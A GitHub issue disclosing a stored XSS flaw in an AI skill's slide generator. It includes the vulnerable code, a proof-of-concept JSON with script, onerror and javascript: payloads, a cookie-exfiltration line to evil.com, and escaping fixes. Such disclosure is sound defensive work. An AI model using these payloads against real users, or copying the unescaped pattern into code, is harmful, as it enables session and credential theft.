New issue

Slide Generator Multiple Stored XSS #247

Open #274

August829 opened 2 weeks ago

uipro-cli — Slide Generator Multiple Stored XSS (46 Injection Points)

1. Vulnerability Summary

Field	Value
Product	UI/UX Pro Max Skill (uipro-cli)
Version	v2.5.0 and earlier
Component	`.claude/skills/design-system/scripts/generate-slide.py`, lines 411-603
Vulnerability Type	Stored Cross-Site Scripting (CWE-79)
Severity	**High**
CVSS 3.1 Score	**8.1**
CVSS 3.1 Vector	AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
Injection Points	46 unique `data.get()` calls with zero HTML encoding
Additional	`javascript:` URI scheme injection in `<a href>` (CWE-79)

2. Product Description

The slide generator creates HTML presentation decks from JSON data input. It is invoked by AI coding assistants as part of the design-system skill. The generated HTML files are intended to be opened in web browsers for viewing and sharing.

3. Vulnerability Description

All 7 slide generator functions (`generate_title_slide` , `generate_problem_slide` , `generate_solution_slide` , `generate_metrics_slide` , `generate_chart_slide` , `generate_testimonial_slide` , `generate_cta_slide`) use Python f-strings to embed user-controlled data directly into HTML output **without any HTML entity encoding**.

46 instances of `data.get()` embed untrusted values into HTML element content, attributes, and `<a href>` attributes. Specifically:

1. **HTML Content Injection** (44 points): Values embedded into `<h1>` , `<h2>` , `<h4>` , `<p>` , `<div>` , `<span>` content — enables `<script>` , `<img onerror>` , `<iframe>` injection
2. **URI Scheme Injection** (1 point): `data.get('cta_url', '#')` at line 596 embedded into `<a href="...">` — enables `javascript:` protocol execution
3. **Title Injection** (1 point): `{title}` at line 29 embedded into `<title>` — enables metadata manipulation

4. CVSS 3.1 Scoring Breakdown

Metric	Value	Justification
Attack Vector (AV)	Network (N)	Malicious JSON can be distributed via repository, URL, or AI prompt
Attack Complexity (AC)	Low (L)	Simple JSON input with HTML tags
Privileges Required (PR)	None (N)	No authentication; anyone can create JSON
User Interaction (UI)	Required (R)	Victim must open generated HTML in browser
Scope (S)	Changed (C)	XSS escapes from HTML file context to browser/DOM
Confidentiality (C)	High (H)	Cookie theft, session hijack, credential exfiltration
Integrity (I)	Low (L)	Can modify displayed content, phishing via iframe overlay
Availability (A)	None (N)	No direct availability impact

CVSS 3.1 Score: 8.1 (High)

5. Root Cause Analysis

Vulnerable Code Pattern (repeated 46 times across 7 functions)

```
# Example: generate_title_slide() at line 411-427
def generate_title_slide(data):
    return f'''
    <section class="slide">
        <div class="badge mb-6">{data.get('badge', 'Pitch Deck')}</div>      # ← XSS
        <h1 class="slide-title mb-6">{data.get('title', 'Title')}</h1>       # ← XSS
        <p class="slide-subheading">{data.get('subtitle', 'Subtitle')}</p>    # ← XSS
        ...
        <a href="#" class="btn">{data.get('cta', 'Get Started')}</a>          # ← XSS
    </section>
    '''
```

URI Injection (CTA slide, line 596)

```
def generate_cta_slide(data):
    return f'''
        <a href="{data.get('cta_url', '#')}" class="btn">                    # ← javascript:
    '''
```

Metrics Injection (loop, line 515-520)

```
metrics_html = ''.join([f'''
    <div class="card metric">
        <div class="metric-value">{m['value']}</div>   # ← XSS
        <div class="metric-label">{m['label']}</div>   # ← XSS
    </div>
''' for m in metrics[:4]])
```

6. Proof of Concept

Step 1: Create Malicious JSON Input

```
{
    "title": "Test",
    "slides": [
        {
            "type": "title",
            "title": "<script>alert('XSS')</script>",
            "badge": "<img src=x onerror=alert(1)>",
            "company": "Test"
        },
        {
            "type": "cta",
            "headline": "Click",
            "cta": "Start",
            "cta_url": "javascript:alert(document.domain)",
            "contact": "x",
```

```
            "website": "x"
        }
    ]
}
```

Step 2: Generate HTML

```
python3 generate-slide.py --json payload.json --output xss-output.html
```

Step 3: Verify Injection

```
$ grep -c "<script>" xss-output.html
1

$ grep -c "onerror" xss-output.html
1

$ grep -c "javascript:" xss-output.html
1
```

Generated HTML Contains (unescaped)

```
<!-- Line 382: <script> injection in <h1> -->
<h1 class="slide-title mb-6"><script>alert('XSS')</script></h1>

<!-- Line 381: onerror injection in badge -->
<div class="badge mb-6"><img src=x onerror=alert(1)></div>

<!-- CTA slide: javascript: URI injection -->
<a href="javascript:alert(document.domain)" class="btn">Start</a>
```

Reproduction Result

```
$ python3 generate-slide.py --json payload.json --output output.html
Deck generated: output.html

$ grep "<script>" output.html
<h1 class="slide-title mb-6"><script>alert('XSS')</script></h1>

$ grep "javascript:" output.html
<a href="javascript:alert(document.domain)" class="btn">Start</a>

Opening output.html in browser triggers JavaScript execution.
```

7. Impact

- **Cookie Theft**: `<script>fetch('https://evil.com/'+document.cookie)</script>`
- **Session Hijacking**: Steal auth tokens from same-origin applications
- **Phishing**: Full-screen `<iframe>` overlay mimicking login pages
- **Keylogging**: Inject event listeners to capture all keystrokes
- **Credential Harvesting**: Replace slide content with fake login forms
- **Worm Propagation**: If shared via internal tools, XSS spreads to all viewers

8. Remediation

Fix: HTML-encode all user data before embedding

```
from html import escape

def generate_title_slide(data):
    return f'''
    <section class="slide">
        <div class="badge">{escape(str(data.get('badge', 'Pitch Deck')))}</div>
        <h1 class="slide-title">{escape(str(data.get('title', 'Title')))}</h1>
        ...
    </section>
    '''
```

Fix for href injection: Validate URL scheme

```
def safe_url(url, default='#'):
    if url and url.strip().lower().startswith(('http://', 'https://', '#', '/')):
        return escape(url, quote=True)
    return default
```

9. References

- CWE-79: Improper Neutralization of Input During Web Page Generation
- OWASP Top 10: A03:2021 - Injection

TemaDeveloper linked a pull request that will close this issue last week

fix: HTML-escape all user data in slide generator to prevent stored XSS #274

Metadata

Assignees

No one assigned

Labels

No labels

Type

No type

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

fix: HTML-escape all user data in slide generator to prevent stored XSS
nextlevelbuilder/ui-ux-pro-max-skill

Participants